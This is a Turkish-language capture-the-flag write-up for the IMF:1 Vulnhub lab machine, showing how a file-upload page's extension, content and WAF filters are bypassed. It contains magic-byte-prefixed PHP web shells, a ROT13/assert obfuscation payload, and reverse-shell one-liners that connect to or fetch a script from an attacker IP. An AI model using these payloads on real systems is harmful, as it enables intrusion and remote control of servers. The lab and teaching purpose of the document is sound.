Yazıda kullanılan IMF:1 sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/imf-1,162/
Dosya yükleme zafiyetinin bulunduğu sayfaya aşağıdaki link üzerinden erişilebilir.
http://10.10.2.181/imfadministrator/uploadr942.php
A) Dosya Uzantı Kontrolünün Atlatılması
“Browse” butonuna tıklanarak gelen ekranda bir PHP dosyası seçilir.
/usr/share/webshells/php/php-reverse-shell.php
“Upload” butonu ile seçilen dosya yüklenir.
PHP dosyası yüklenmeye çalışıldığında, dosya tipinden dolayı hata mesajı alınmaktadır.
Error: Invalid file type.
Not: Alınan hata mesajının sebebi dosya yükleme sayfasındaki (uploadr942.php) uzantı kontrolüdür.
head -70 uploadr942.php | tail -37
JPG dosyası yüklenebilmektedir.
/usr/lib/dradis/app/assets/images/profile.jpg
Bir CTF makinesi olan IMF:1 makinesindeki zafiyetli web uygulamasına dosya yüklendiğinde, sunucu tarafından gönderilen cevapta dosyanın adı görülmektedir.
Dosyaların yüklendiği klasörde (/uploads/) dosya görülebilmektedir.
http://10.10.2.181/imfadministrator/uploads/8b409116692f.jpg
B) Dosya İçerik Kontrolünün Atlatılması
Basit bir PHP dosyası yüklenmeye çalışıldığında ise dosya içeriğinden dolayı hata mesajı döndürülmektedir.
echo ‘<?php phpinfo(); ?>’ > Sayfa.jpg
Error: Invalid file data.
Hatayı atlatmak için dosya başına FFD8FFEo yazılır.
echo ‘FFD8FFEo’ | xxd -r -p > Sayfa-2.jpg
echo ‘<?php phpinfo(); ?>’ >> Sayfa-2.jpg
cat Sayfa-2.jpg
Not: Diğer yöntemler için kaynaklardaki (düşük zorluk seviyesindeki) DVWA yazısı incelenebilir.
C) Çalıştırılabilir İçeriğin Yüklenmesi
Ancak bu şekilde PHP içeriği yorumlanmamakta ve doğrudan ekrana yazılmaktadır.
curl -v http://10.10.2.181/imfadministrator/uploads/4bb7dffada4b.jpg
Bunun üzerine dosya uzantısı “jpg” yerine “gif” yapıldığında dosya yine yüklenebilmektedir.
mv Sayfa-2.jpg Sayfa-3.gif
“gif” uzantılı dosya içerisindeki PHP içeriği yorumlanmaktadır.
curl -v http://10.10.2.181/imfadministrator/uploads/a7229aeba35d.gif
Not: Bu kısıtlama .htaccess dosyasında yapılmıştır.
cat /var/www/html/imfadministrator/uploads/.htaccess
D) WAF Kontrolünün Atlatılma Denemeleri
D.1) Deneme – 1:
Dosya dahil etme zafiyetine sahip basit bir sayfa yüklenmeye çalışıldığında WAF tarafından PHP “exec” fonksiyonunun kullanılmayacağına dair bir hata mesajı döndürülmekte ve dosya yüklenmemektedir.
cat shell-exec.gif
Error: CrappyWAF detected malware. Signature: exec php function detected
D.2) Deneme – 2:
Kali üzerinde gelen zararlı PHP dosyası yüklenmeye çalışıldığında da WAF tarafından PHP “fsockopen” fonksiyonunun kullanılmayacağına dair bir hata mesajı döndürülmekte ve dosya yüklenmemektedir.
echo GIF > php-reverse-shell.gif
cat /usr/share/webshells/php/php-reverse-shell.php >> php-reverse-shell.gifError: CrappyWAF detected malware. Signature: fsockopen php function detected
D.3) Deneme – 3:
Başka bir PHP dosyası yüklenmeye çalışıldığında da WAF tarafından PHP “system” fonksiyonunun kullanılmayacağına dair bir hata mesajı döndürülmekte ve dosya yüklenmemektedir.
echo GIF89a > system-get.gif
echo ‘<?php system($_GET[‘Komut’]) ?>’ >> system-get.gif
Not: Alınan hata mesajının sebebi dosya yükleme sayfasındaki (uploadr942.php) yasaklı fonksiyonların kontrolüdür.
head -32 uploadr942.php
Sanal makinede kontrol edilen yasaklı ifade ve fonksiyonlar aşağıdaki gibi sıralanabilir.
- \\*<?php /**/ –> ‘Meterpreter payload detected’,
- eval –> ‘Eval php function detected’,
- base64_decode –> ‘Base64_decode php function detected’,
- fopen –> ‘fopen php function detected’,
- system –> ‘system php function detected’,
- passthru –> ‘passthru php function detected’,
- exec –> ‘exec function php detected’,
- pcntl_exec –> ‘pcntl_exec php function detected’,
- popen –> ‘popen php function detected’,
- fsockopen –> ‘fsockopen php function detected’,
- proc_open –> ‘proc_open php function detected’,
- fclose –> ‘fclose php function detected’
E) WAF Kontrolünün Atlatılması
WAF kontrolleri incelendiğinde bir çok fonksiyon yasaklanmış olduğu görülmektedir. Ancak,
- “eval” fonksiyonu yasaklı iken, “assert” fonksiyonu yasaklı değildir.
- “base64_decode” fonksiyonu yasaklı iken, “str_rot13” fonksiyonu yasaklı değildir.
- URL kodlama engellenmemiştir.
Komut satırı erişimi elde etmek için çeşitli yöntemler uygulanabilir. Bu yöntemleri uygulamadan önce komut satırı bağlantı isteğini yakalayacak olan dinleyici başlatılır.
nc -nlvp 1234
E.1) Yöntem – 1:
Yasaklı olan fonksiyonlar kullanılmadığında dosya (degiskenli-get.gif) yüklenebilmiştir.
echo ‘474946383961’ | xxd -r -p > degiskenli-get.gif
echo ‘<?php $sonuc=$_GET[‘komut’]; echo$sonuc
; ?>’ >> degiskenli-get.gif
Not: En çok kullanılan uzantılar, dosya başlığı ve onaltılık formattaki değerleri aşağıdaki gibi sıralanabilir.
- jpg – JFIF – FF D8 FF EO 00 10 4A 46 49 46
- gif – GIF89a – 47 49 46 38 39 61
- png – PNG – 89 50 4E 47
Dosya çağırılarak komut çıktıları elde edilebilir.
http://10.10.2.181/imfadministrator/uploads/8b8cea422c9c.gif?komut=id;uname%20-a;cat%20/etc/*release*;cat%20/etc/passwd
Komut satırı erişimi elde etmek için PentestMonkey sitesindeki aşağıdaki PHP komutu, WAF engeline takılmadan kullanılabilir.
php -r ‘$sock=fsockopen(“10.10.2.133”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’
Aşağıdaki gibi bir deneme yapıldığında bağlantı talebi oluşmamıştır.
http://10.10.2.181/imfadministrator/uploads/8b8cea422c9c.gif?komut=php -r ‘$sock=fsockopen(“10.10.2.133”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’
URL kodlama WAF tarafından engellenmeye çalışılmadığı için PentestMonkey bağlantısındaki kodun URL kodlanmış hali denendiğinde komut satırı erişimi elde edilebilmiştir.
http://10.10.2.181/imfadministrator/uploads/8b8cea422c9c.gif?komut=php%20-r%20%27%24sock%3Dfsockopen(%2210.10.2.133%22%2C1234)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B%27
E.2) Yöntem – 2:
İlk yöntemdeki gibi GIF uzantılı dosya (degiskenli-get.gif) yüklendikten sonra, WAF engeline takılmamak için ters bağlantı sağlayacak basit bir komut da hedef sistem üzerinde çalıştırılabilir. Bu amaçla “TersBaglanti” adlı dosya içerisine aşağıdaki komutlar yazılır ve bir web uygulaması başlatılır.
echo “bash -i >& /dev/tcp/10.10.2.133/1234 0>&1” > TersBaglanti
python -m SimpleHTTPServer 8888
Böylece komut satırı erişimi elde edilebilmiştir.
http://10.10.2.181/imfadministrator/uploads/8b8cea422c9c.gif?komut=wget%20http://10.10.2.133:8888/TersBaglanti;/bin/bash%20TersBaglanti
E.3) Yöntem – 3:
Base64 ile kodlama ve kod çözme yerine ROT13 ile kodlama ve kod çözme de gerçekleştirilebilir. Ayrıca URL kodlama yasak olmadığı için URL kodlama ile istenilen komutlar kullanılabilir. Bu amaçla klasik PHP webshell (/usr/share/webshells/php/php-reverse-shell) içeriği önce URL kodlamadan geçirilip, sonra da ROT13 ile döndürülerek kodlanınca elde edilen sonuç aşağıda XXX ile belirtilen kısma eklendiğinde “KodlanmisMetin” değişkenine atanacaktır. Bu değişken de önce ROT13 ile döndürülüp sonra da URL kod çözme fonksiyonlarından geçirildiğinde eski haline dönecektir. Sonra da çalıştırılacaktır.
1 2 3 4 5 6 7 |
GIF98 <?php $KodlanmisMetin = <<<KODLAMA XXX KODLAMA; assert(urldecode(str_rot13($KodlanmisMetin))); ?> |
URL kodlama işlemi için örnek site:
https://www.urlencoder.org/
ROT13 kodlama işlemi için örnek site:
http://www.rot13.com/
Elde edilen metin “XXX” ile belirtilen yere yapıştırıldığında zararlı PHP dosyası hazırlanmış olur.
Kodun sonu:
Sonrasında ilgili sayfa çağırıldığında erişim sağlanabilmektedir.
Not: Deneme sırasında beklenildiği şekilde erişim elde edilememiştir. Ancak kaynaklardaki Reedphish bağlantısında erişim elde edildiği belirtilmektedir.
Not: Bu sanal makinede WAF korumasını atlatmak için weevely aracı da kullanılabilir. Aracın kullanımı için kaynaklardaki (orta zorluk seviyedeki) DVWA yazısı okunabilir.
WAF atlatma ile ilgili diğer teknikler için kaynaklardaki SsecurityOnline yazısı incelenebilir.
Kaynaklar:
https://reedphish.wordpress.com/2016/11/20/imf-walkthrough/
IMF Vulnhub Writeup [m4dm4n w/ n1h1l w/ pzyc0 w/ trickster0]
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://t0w3ntum.com/2016/11/06/imf-vulnhub/
https://securityonline.info/bypwass-waf-upload-shell-webserver/